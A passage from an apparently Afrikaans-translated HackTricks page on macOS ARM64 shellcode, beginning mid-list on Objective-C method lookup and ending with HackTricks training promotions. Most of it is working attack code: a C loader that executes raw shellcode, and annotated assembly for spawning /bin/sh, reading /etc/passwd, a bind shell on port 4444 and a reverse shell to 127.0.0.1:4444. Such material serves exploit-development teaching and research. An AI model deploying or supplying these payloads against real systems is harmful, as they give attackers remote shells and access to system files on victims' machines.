- Indien gevind, vul cache en klaar
- If (resolver) try method resolver, and repeat from class lookup
- As dit nog hier is (= alles anders het misluk), probeer forwarder
Shellcodes
Om te kompileer:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Om die bytes te onttrek:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Vir nuwer macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C code om die shellcode te toets
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Geneem van here en verduidelik.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Lees met cat
Die doel is om execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
uit te voer, dus is die tweede argument (x1) 'n array van params (wat in geheue beteken 'n stack van adresse).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Roep 'n opdrag met sh van 'n fork sodat die hoofproses nie gedood word nie
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell van https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s op port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Van https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell na 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.